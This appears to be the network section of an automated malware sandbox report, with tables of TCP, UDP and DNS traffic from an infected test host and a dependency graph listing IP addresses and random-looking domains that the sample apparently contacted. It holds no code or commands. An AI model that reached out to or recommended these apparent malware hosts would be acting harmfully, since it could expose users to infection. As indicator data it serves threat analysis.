Sep 23, 2023 17:53:40.299742937 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.299814939 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.299856901 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.299896002 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.299904108 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.299932957 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.299949884 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.299981117 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.350728035 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.350769043 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.350852013 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.350888014 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.350924015 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.350924015 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.350924015 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.350984097 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.351032019 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.351824045 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.351907969 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.352005959 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.352005959 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.352926970 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.352979898 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353008986 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353055000 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353099108 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353154898 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353168011 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353204966 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353212118 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353241920 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353247881 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353277922 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353287935 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353323936 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353378057 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353414059 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353425026 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353466988 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353517056 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353557110 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353568077 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353600025 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353612900 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353657961 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353681087 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353720903 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.353734016 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.353765965 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354063988 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354108095 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354136944 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354172945 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354182005 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354214907 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354243040 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354279041 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354294062 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354314089 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354320049 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354360104 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354382992 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354418993 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354429007 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354460955 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354486942 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354532957 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354554892 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354599953 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354621887 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354669094 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354720116 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354756117 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354762077 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354804039 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354829073 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354875088 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354926109 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354962111 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.354974985 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.354996920 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355003119 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.355040073 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.355063915 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355118990 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.355161905 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355209112 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.355230093 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355273008 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.355326891 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355361938 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355407000 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.355427980 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355463982 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355472088 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.355508089 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.355530977 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.355576038 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.620022058 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.620084047 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.620102882 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.620138884 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.620170116 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.620220900 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.620250940 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.620296001 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.671546936 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.671597004 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.671663046 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.671669006 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.671699047 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.671710968 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.671744108 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.671771049 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.672563076 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.672599077 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.672611952 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.672642946 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.675648928 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.675685883 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.675708055 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.675723076 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.675729990 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.675759077 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.675765991 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.675801039 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.675827026 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.675862074 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.675870895 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.675905943 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.675929070 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.675972939 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.675997972 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676033974 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676043034 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676090002 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676131964 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676177979 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676409006 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676446915 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676456928 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676485062 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676490068 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676529884 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676604033 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676639080 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676645994 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676681042 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676707029 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676743031 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676749945 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676788092 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676806927 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676848888 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.676934958 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676970959 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.676980019 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.677014112 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.677038908 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.677074909 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.677086115 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.677110910 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.677118063 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.677153111 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.677252054 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.677297115 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:41.486613989 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:41.486660004 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:41.807296991 CEST	80	49844	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:41.807739973 CEST	80	49844	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:41.813077927 CEST	80	49844	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:41.876024961 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:45.038930893 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:45.039141893 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:45.039206982 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:45.359636068 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:46.816797018 CEST	80	49844	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:46.816910982 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:46.826030016 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:47.148843050 CEST	80	49844	77.91.68.29	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 23, 2023 17:53:20.533615112 CEST	59300	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:20.533802032 CEST	49247	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:20.534224987 CEST	55618	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:20.534373999 CEST	54289	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:20.534606934 CEST	52359	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:20.534827948 CEST	49668	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:20.706283092 CEST	53	59300	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:20.713699102 CEST	53	52359	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:20.714221954 CEST	53	55618	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:20.714920998 CEST	53	49247	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:20.719330072 CEST	53	60926	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:20.721859932 CEST	53	49668	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:20.726727962 CEST	53	54289	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:21.753673077 CEST	57096	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:21.753911972 CEST	62135	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:21.819046021 CEST	53	58455	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:21.933720112 CEST	53	57096	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:21.935416937 CEST	53	62135	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:24.816596031 CEST	49702	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:24.816728115 CEST	63044	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:24.989336967 CEST	53	63044	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:24.995904922 CEST	53	49702	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:25.122891903 CEST	53	57902	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:25.203263998 CEST	53	61960	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:27.086632967 CEST	53	64496	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:34.455559015 CEST	61248	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:34.455741882 CEST	62344	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:34.455916882 CEST	63094	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:34.456131935 CEST	55800	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:34.456728935 CEST	62954	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:34.456834078 CEST	59415	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:34.629471064 CEST	53	59415	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:34.634979010 CEST	53	61248	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:34.635238886 CEST	53	63094	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:34.636145115 CEST	53	62344	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:34.637054920 CEST	53	62954	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:34.643574953 CEST	53	55800	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:34.661199093 CEST	53	55106	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:35.730251074 CEST	53	57906	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:42.679677963 CEST	50932	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:42.679768085 CEST	61035	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:42.859589100 CEST	53	50932	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:42.867108107 CEST	53	61035	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:42.907020092 CEST	53	59290	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:43.432523966 CEST	63321	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:43.432703972 CEST	63769	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:43.433870077 CEST	60029	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:43.433959007 CEST	57098	53	192.168.2.4	8.8.8.8
Sep 23, 2023 17:53:43.611601114 CEST	53	57098	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:43.612909079 CEST	53	60029	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:43.619797945 CEST	53	63321	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:43.638705015 CEST	53	63769	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:43.852715015 CEST	53	64048	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:51.502394915 CEST	53	52476	8.8.8.8	192.168.2.4
Sep 23, 2023 17:53:55.617602110 CEST	53	50834	8.8.8.8	192.168.2.4
Sep 23, 2023 17:54:00.949980021 CEST	53	62532	8.8.8.8	192.168.2.4
Sep 23, 2023 17:54:07.718847990 CEST	53	56498	8.8.8.8	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 23, 2023 17:53:25.203324080 CEST	192.168.2.4	8.8.8.8	d02e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 23, 2023 17:53:20.533615112 CEST	192.168.2.4	8.8.8.8	0xbbed	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:20.533802032 CEST	192.168.2.4	8.8.8.8	0xbb84	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:20.534224987 CEST	192.168.2.4	8.8.8.8	0x1a09	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:20.534373999 CEST	192.168.2.4	8.8.8.8	0xdd5c	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:20.534606934 CEST	192.168.2.4	8.8.8.8	0x4264	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:20.534827948 CEST	192.168.2.4	8.8.8.8	0xb5a6	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:21.753673077 CEST	192.168.2.4	8.8.8.8	0xa67	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:21.753911972 CEST	192.168.2.4	8.8.8.8	0x2df	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Sep 23, 2023 17:53:24.816596031 CEST	192.168.2.4	8.8.8.8	0x9832	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:24.816728115 CEST	192.168.2.4	8.8.8.8	0x1ddc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:34.455559015 CEST	192.168.2.4	8.8.8.8	0x5c8c	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:34.455741882 CEST	192.168.2.4	8.8.8.8	0xadef	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:34.455916882 CEST	192.168.2.4	8.8.8.8	0x2206	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:34.456131935 CEST	192.168.2.4	8.8.8.8	0x2489	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:34.456728935 CEST	192.168.2.4	8.8.8.8	0x1191	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:34.456834078 CEST	192.168.2.4	8.8.8.8	0xdfd3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:42.679677963 CEST	192.168.2.4	8.8.8.8	0x2fde	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:42.679768085 CEST	192.168.2.4	8.8.8.8	0xf4b1	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:43.432523966 CEST	192.168.2.4	8.8.8.8	0x5734	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:43.432703972 CEST	192.168.2.4	8.8.8.8	0xf2d2	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Sep 23, 2023 17:53:43.433870077 CEST	192.168.2.4	8.8.8.8	0xd2c9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:43.433959007 CEST	192.168.2.4	8.8.8.8	0x4a40	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 23, 2023 17:53:20.706283092 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:20.706283092 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	star-mini.c10r.facebook.com		31.13.70.36	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:20.713699102 CEST	8.8.8.8	192.168.2.4	0x4264	No error (0)	accounts.google.com		172.217.12.109	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:20.714221954 CEST	8.8.8.8	192.168.2.4	0x1a09	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:20.714221954 CEST	8.8.8.8	192.168.2.4	0x1a09	No error (0)	clients.l.google.com		142.250.217.142	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:20.714920998 CEST	8.8.8.8	192.168.2.4	0xbb84	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:20.726727962 CEST	8.8.8.8	192.168.2.4	0xdd5c	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:21.933720112 CEST	8.8.8.8	192.168.2.4	0xa67	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:21.933720112 CEST	8.8.8.8	192.168.2.4	0xa67	No error (0)	scontent.xx.fbcdn.net		157.240.24.13	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:21.935416937 CEST	8.8.8.8	192.168.2.4	0x2df	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:24.989336967 CEST	8.8.8.8	192.168.2.4	0x1ddc	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 23, 2023 17:53:24.995904922 CEST	8.8.8.8	192.168.2.4	0x9832	No error (0)	www.google.com		142.251.46.164	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:34.629471064 CEST	8.8.8.8	192.168.2.4	0xdfd3	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 23, 2023 17:53:34.634979010 CEST	8.8.8.8	192.168.2.4	0x5c8c	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:34.634979010 CEST	8.8.8.8	192.168.2.4	0x5c8c	No error (0)	clients.l.google.com		142.251.46.174	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:34.635238886 CEST	8.8.8.8	192.168.2.4	0x2206	No error (0)	accounts.google.com		172.217.12.109	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:34.636145115 CEST	8.8.8.8	192.168.2.4	0xadef	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:34.637054920 CEST	8.8.8.8	192.168.2.4	0x1191	No error (0)	www.google.com		142.251.46.164	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:42.859589100 CEST	8.8.8.8	192.168.2.4	0x2fde	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:42.859589100 CEST	8.8.8.8	192.168.2.4	0x2fde	No error (0)	clients.l.google.com		142.251.46.174	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:42.867108107 CEST	8.8.8.8	192.168.2.4	0xf4b1	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2023 17:53:43.611601114 CEST	8.8.8.8	192.168.2.4	0x4a40	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 23, 2023 17:53:43.612909079 CEST	8.8.8.8	192.168.2.4	0xd2c9	No error (0)	www.google.com		142.251.46.164	A (IP address)	IN (0x0001)	false
Sep 23, 2023 17:53:43.619797945 CEST	8.8.8.8	192.168.2.4	0x5734	No error (0)	accounts.google.com		172.217.12.109	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

5.42.92.211

rfxxtg.org

77.91.68.29

ibrmk.net

77.91.124.231

sulblw.org

ljhprke.org

yjyrlfm.org

unygw.com

77.91.68.61

yrhxhgujiv.org

koqafyhg.org

5.42.65.80

jfakwchofb.net

cpvmh.net

77.91.68.78

ouvqb.org

cjbsku.com

wthgnusaf.org

ifasstomb.com

rkuen.com

csdduql.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
